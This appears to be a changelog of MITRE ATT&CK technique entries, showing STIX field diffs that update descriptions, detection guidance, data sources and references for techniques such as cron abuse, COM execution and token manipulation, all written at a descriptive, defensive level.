| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'} | |
| external_references | {'source_name': 'AWS Describe DB Instances', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:06:56.855000+00:00 | 2021-10-17 16:07:08.549000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:13:16.259000+00:00 | 2021-10-17 16:19:50.018000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). | Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004). |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.2
Version changed from: 2.1 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse command and script interpreters to exe | t | 1 | Adversaries may abuse command and script interpreters to exe |
| > | cute commands, scripts, or binaries. These interfaces and la | > | cute commands, scripts, or binaries. These interfaces and la | ||
| > | nguages provide ways of interacting with computer systems an | > | nguages provide ways of interacting with computer systems an | ||
| > | d are a common feature across many different platforms. Most | > | d are a common feature across many different platforms. Most | ||
| > | systems come with some built-in command-line interface and | > | systems come with some built-in command-line interface and | ||
| > | scripting capabilities, for example, macOS and Linux distrib | > | scripting capabilities, for example, macOS and Linux distrib | ||
| > | utions include some flavor of [Unix Shell](https://attack.mi | > | utions include some flavor of [Unix Shell](https://attack.mi | ||
| > | tre.org/techniques/T1059/004) while Windows installations in | > | tre.org/techniques/T1059/004) while Windows installations in | ||
| > | clude the [Windows Command Shell](https://attack.mitre.org/t | > | clude the [Windows Command Shell](https://attack.mitre.org/t | ||
| > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | > | echniques/T1059/003) and [PowerShell](https://attack.mitre.o | ||
| > | rg/techniques/T1059/001). There are also cross-platform int | > | rg/techniques/T1059/001). There are also cross-platform int | ||
| > | erpreters such as [Python](https://attack.mitre.org/techniqu | > | erpreters such as [Python](https://attack.mitre.org/techniqu | ||
| > | es/T1059/006), as well as those commonly associated with cli | > | es/T1059/006), as well as those commonly associated with cli | ||
| > | ent applications such as [JavaScript](https://attack.mitre.o | > | ent applications such as [JavaScript](https://attack.mitre.o | ||
| > | rg/techniques/T1059/007) and [Visual Basic](https://attack.m | > | rg/techniques/T1059/007) and [Visual Basic](https://attack.m | ||
| > | itre.org/techniques/T1059/005). Adversaries may abuse these | > | itre.org/techniques/T1059/005). Adversaries may abuse these | ||
| > | technologies in various ways as a means of executing arbitr | > | technologies in various ways as a means of executing arbitr | ||
| > | ary commands. Commands and scripts can be embedded in [Initi | > | ary commands. Commands and scripts can be embedded in [Initi | ||
| > | al Access](https://attack.mitre.org/tactics/TA0001) payloads | > | al Access](https://attack.mitre.org/tactics/TA0001) payloads | ||
| > | delivered to victims as lure documents or as secondary payl | > | delivered to victims as lure documents or as secondary payl | ||
| > | oads downloaded from an existing C2. Adversaries may also ex | > | oads downloaded from an existing C2. Adversaries may also ex | ||
| > | ecute commands through interactive terminals/shells. | > | ecute commands through interactive terminals/shells, as well | ||
| > | as utilize various [Remote Services](https://attack.mitre.o | ||||
| > | rg/techniques/T1021) in order to achieve remote Execution.(C | ||||
| > | itation: Powershell Remote Commands)(Citation: Cisco IOS Sof | ||||
| > | tware Integrity Assurance - Command History)(Citation: Remot | ||||
| > | e Shell Execution in Python) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 19:21:06.164000+00:00 | 2021-08-16 21:03:21.700000+00:00 |
| description | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. | Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python) |
| x_mitre_remote_support | False | True |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Powershell Remote Commands', 'description': 'Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1'} | |
| external_references | {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'} | |
| external_references | {'source_name': 'Remote Shell Execution in Python', 'description': 'Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.', 'url': 'https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use the Windows Component Object Model (COM) | t | 1 | Adversaries may use the Windows Component Object Model (COM) |
| > | for local code execution. COM is an inter-process communica | > | for local code execution. COM is an inter-process communica | ||
| > | tion (IPC) component of the native Windows application progr | > | tion (IPC) component of the native Windows application progr | ||
| > | amming interface (API) that enables interaction between soft | > | amming interface (API) that enables interaction between soft | ||
| > | ware objects, or executable code that implements one or more | > | ware objects, or executable code that implements one or more | ||
| > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | ||
| > | h COM, a client object can call methods of server objects, w | > | h COM, a client object can call methods of server objects, w | ||
| > | hich are typically binary Dynamic Link Libraries (DLL) or ex | > | hich are typically binary Dynamic Link Libraries (DLL) or ex | ||
| > | ecutables (EXE).(Citation: Microsoft COM) Various COM inter | > | ecutables (EXE).(Citation: Microsoft COM) Remote COM executi | ||
| > | faces are exposed that can be abused to invoke arbitrary exe | > | on is facilitated by [Remote Services](https://attack.mitre. | ||
| > | cution via a variety of programming languages such as C, C++ | > | org/techniques/T1021) such as [Distributed Component Object | ||
| > | , Java, and [Visual Basic](https://attack.mitre.org/techniqu | > | Model](https://attack.mitre.org/techniques/T1021/003) (DCOM | ||
| > | es/T1059/005).(Citation: Microsoft COM) Specific COM objects | > | ).(Citation: Fireeye Hunting COM June 2019) Various COM int | ||
| > | also exist to directly perform functions beyond code execut | > | erfaces are exposed that can be abused to invoke arbitrary e | ||
| > | ion, such as creating a [Scheduled Task/Job](https://attack. | > | xecution via a variety of programming languages such as C, C | ||
| > | mitre.org/techniques/T1053), fileless download/execution, an | > | ++, Java, and [Visual Basic](https://attack.mitre.org/techni | ||
| > | d other adversary behaviors related to privilege escalation | > | ques/T1059/005).(Citation: Microsoft COM) Specific COM objec | ||
| > | and persistence.(Citation: Fireeye Hunting COM June 2019)(Ci | > | ts also exist to directly perform functions beyond code exec | ||
| > | tation: ProjectZero File Write EoP Apr 2018) | > | ution, such as creating a [Scheduled Task/Job](https://attac | ||
| > | k.mitre.org/techniques/T1053), fileless download/execution, | ||||
| > | and other adversary behaviors related to privilege escalatio | ||||
| > | n and persistence.(Citation: Fireeye Hunting COM June 2019)( | ||||
| > | Citation: ProjectZero File Write EoP Apr 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:30:52.639000+00:00 | 2021-07-26 22:51:20.448000+00:00 |
| description | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Persona: Social Media', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:59:07.046000+00:00 | 2021-10-16 17:15:12.428000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:04:40.423000+00:00 | 2021-10-17 16:01:48.871000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse task scheduling functionality provided | t | 1 | Adversaries may abuse task scheduling functionality provided |
| > | by container orchestration tools such as Kubernetes to sche | > | by container orchestration tools such as Kubernetes to sche | ||
| > | dule deployment of containers configured to execute maliciou | > | dule deployment of containers configured to execute maliciou | ||
| > | s code. Container orchestration jobs run these automated tas | > | s code. Container orchestration jobs run these automated tas | ||
| > | ks at a specific date and time, similar to cron jobs on a Li | > | ks at a specific date and time, similar to cron jobs on a Li | ||
| > | nux system. Deployments of this type can also be configured | > | nux system. Deployments of this type can also be configured | ||
| > | to maintain a quantity of containers over time, automating t | > | to maintain a quantity of containers over time, automating t | ||
| > | he process of maintaining persistence within a cluster. In | > | he process of maintaining persistence within a cluster. In | ||
| > | Kubernetes, a CronJob may be used to schedule a Job that run | > | Kubernetes, a CronJob may be used to schedule a Job that run | ||
| > | s one or more containers to perform specific tasks.(Citation | > | s one or more containers to perform specific tasks.(Citation | ||
| > | : Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversar | > | : Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversar | ||
| > | y therefore may utilize a CronJob to schedule deployment of | > | y therefore may utilize a CronJob to schedule deployment of | ||
| > | a Job that executes malicious code in the cluster.(Citation: | > | a Job that executes malicious code in various nodes within a | ||
| > | Threat Matrix for Kubernetes) | > | cluster.(Citation: Threat Matrix for Kubernetes) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 18:09:46.821000+00:00 | 2021-07-27 17:38:17.146000+00:00 |
| description | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes) | Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a new process with a duplicated token | t | 1 | Adversaries may create a new process with a different token |
| > | to escalate privileges and bypass access controls. An adver | > | to escalate privileges and bypass access controls. Processes | ||
| > | sary can duplicate a desired access token with <code>Duplica | > | can be created with the token and resulting security contex | ||
| > | teToken(Ex)</code> and use it with <code>CreateProcessWithTo | > | t of another user using features such as <code>CreateProcess | ||
| > | kenW</code> to create a new process running under the securi | > | WithTokenW</code> and <code>runas</code>.(Citation: Microsof | ||
| > | ty context of the impersonated user. This is useful for crea | > | t RunAs) Creating processes with a different token may requ | ||
| > | ting a new process under the security context of a different | > | ire the credentials of the target user, specific privileges | ||
| > | user. | > | to impersonate that user, or access to the token to be used | ||
| > | (ex: gathered via other means such as [Token Impersonation/T | ||||
| > | heft](https://attack.mitre.org/techniques/T1134/001) or [Mak | ||||
| > | e and Impersonate Token](https://attack.mitre.org/techniques | ||||
| > | /T1134/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Vadim Khrykov'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:28:19.476000+00:00 | 2021-10-17 14:51:48.978000+00:00 |
| description | Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. | Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)
Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)). |
| external_references[1]['source_name'] | Microsoft Command-line Logging | Microsoft RunAs |
| external_references[1]['description'] | Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. | Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11) |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. | If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo | t | 1 | Adversaries may abuse the <code>cron</code> utility to perfo |
| > | rm task scheduling for initial or recurring execution of mal | > | rm task scheduling for initial or recurring execution of mal | ||
| > | icious code. The <code>cron</code> utility is a time-based j | > | icious code.(Citation: 20 macOS Common Tools and Techniques) | ||
| > | ob scheduler for Unix-like operating systems. The <code> cr | > | The <code>cron</code> utility is a time-based job scheduler | ||
| > | ontab</code> file contains the schedule of cron entries to b | > | for Unix-like operating systems. The <code> crontab</code> | ||
| > | e run and the specified times for execution. Any <code>cront | > | file contains the schedule of cron entries to be run and th | ||
| > | ab</code> files are stored in operating system-specific file | > | e specified times for execution. Any <code>crontab</code> fi | ||
| > | paths. An adversary may use <code>cron</code> in Linux or | > | les are stored in operating system-specific file paths. An | ||
| > | Unix environments to execute programs at system startup or o | > | adversary may use <code>cron</code> in Linux or Unix environ | ||
| > | n a scheduled basis for persistence. <code>cron</code> can a | > | ments to execute programs at system startup or on a schedule | ||
| > | lso be abused to conduct remote Execution as part of Lateral | > | d basis for persistence. | ||
| > | Movement and or to run a process under the context of a spe | ||||
| > | cified account. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-23 23:30:46.546000+00:00 | 2021-08-23 15:29:36.918000+00:00 |
| description | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code. The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. cron can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. | Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.
An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:01:54.609000+00:00 | 2021-10-17 15:56:05.112000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 16:39:06.594000+00:00 | 2021-08-16 21:07:27.119000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 3.2
Version changed from: 3.1 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage information repositories to mine va | t | 1 | Adversaries may leverage information repositories to mine va |
| > | luable information. Information repositories are tools that | > | luable information. Information repositories are tools that | ||
| > | allow for storage of information, typically to facilitate co | > | allow for storage of information, typically to facilitate co | ||
| > | llaboration or information sharing between users, and can st | > | llaboration or information sharing between users, and can st | ||
| > | ore a wide variety of data that may aid adversaries in furth | > | ore a wide variety of data that may aid adversaries in furth | ||
| > | er objectives, or direct access to the target information. | > | er objectives, or direct access to the target information. A | ||
| > | The following is a brief list of example information that ma | > | dversaries may also abuse external sharing features to share | ||
| > | y hold potential value to an adversary and may also be found | > | sensitive documents with recipients outside of the organiza | ||
| > | on an information repository: * Policies, procedures, and | > | tion. The following is a brief list of example information | ||
| > | standards * Physical / logical network diagrams * System arc | > | that may hold potential value to an adversary and may also | ||
| > | hitecture diagrams * Technical system documentation * Testin | > | be found on an information repository: * Policies, procedur | ||
| > | g / development credentials * Work / project schedules * Sou | > | es, and standards * Physical / logical network diagrams * Sy | ||
| > | rce code snippets * Links to network shares and other intern | > | stem architecture diagrams * Technical system documentation | ||
| > | al resources Information stored in a repository may vary ba | > | * Testing / development credentials * Work / project schedul | ||
| > | sed on the specific instance or environment. Specific common | > | es * Source code snippets * Links to network shares and othe | ||
| > | information repositories include [Sharepoint](https://attac | > | r internal resources Information stored in a repository may | ||
| > | k.mitre.org/techniques/T1213/002), [Confluence](https://atta | > | vary based on the specific instance or environment. Specifi | ||
| > | ck.mitre.org/techniques/T1213/001), and enterprise databases | > | c common information repositories include web-based platform | ||
| > | such as SQL Server. | > | s such as [Sharepoint](https://attack.mitre.org/techniques/T | ||
| > | 1213/002) and [Confluence](https://attack.mitre.org/techniqu | ||||
| > | es/T1213/001), specific services such as Code Repositories, | ||||
| > | IaaS databases, enterprise databases, and other storage infr | ||||
| > | astructure such as SQL Server. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 14:16:12.151000+00:00 | 2021-10-16 01:35:43.938000+00:00 |
| description | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server. | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. |
| external_references[2]['source_name'] | Atlassian Confluence Logging | Sharepoint Sharing Events |
| external_references[2]['description'] | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. | Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021. |
| external_references[2]['url'] | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html | https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events |
